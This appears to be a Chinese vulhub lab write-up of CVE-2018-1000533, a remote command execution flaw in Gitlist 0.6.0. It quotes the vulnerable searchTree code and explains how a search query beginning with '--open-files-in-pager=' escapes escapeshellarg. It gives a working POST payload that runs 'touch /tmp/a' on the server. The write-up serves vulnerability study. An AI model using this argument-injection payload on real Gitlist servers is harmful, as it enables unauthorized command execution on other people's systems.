vulhub漏洞复现-Gitlist0.6.0(cve-2018-1000533)远程命令执⾏漏洞Gitlist
gitlist是⼀款使⽤PHP开发的图形化git仓库查看⼯具。
思路
在⽤户对仓库中代码进⾏搜索的时候,gitlist将调⽤git grep命令:
public function searchTree($query,$branch)
{
if(empty($query)){
return null;
}
$query=escapeshellarg($query);
try{
$results=$this->getClient()->run($this,"grep -i --line-number {$query}$branch");
}catch(\RuntimeException $e){
return false;
}
其中,$query是搜索的关键字,$branch是搜索的分⽀,知道grep函数的应该就能看懂,从分⽀⾥⾯搜索关键字。
为什么会出现这个漏洞,⾸先这⾥经过escapeshellarg处理后就会变成能正常执⾏的shell参数,如果⽤户输⼊的$query = --open-files-in-pager=id;是作为-e的参数去执⾏,那就是正常的,也就是说这只是⼀个字符串,⼀个附带的参数值,就像这样
git grep -i --line-number -e '--open-files-in-pager=id;' master
但--open-files-in-pager=id;如果直接作为grep的参数,那就可以执⾏<id>命令
git grep -i --line-number  --open-files-in-pager=id;  master
对于两个参数的解释看⼿册
漏洞复现
这⾥我们改成POST包,访问/example/tree/a/search,其中example是项⽬名称,需要是⽬标gitlist上⼀个已存在的项⽬;a在正常情况下应该是分⽀的名称,也就是"grep -i --line-number {$query}$branch"中的$branch,但因为我们的$query被当成了⼀个参数,所
以$branch就应该被当做搜索的关键字,关键字如下。
cve漏洞库
抓包添加POST参数
query=--open-files-in-pager=touch /tmp/a
进⼊后台查看,执⾏成功

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。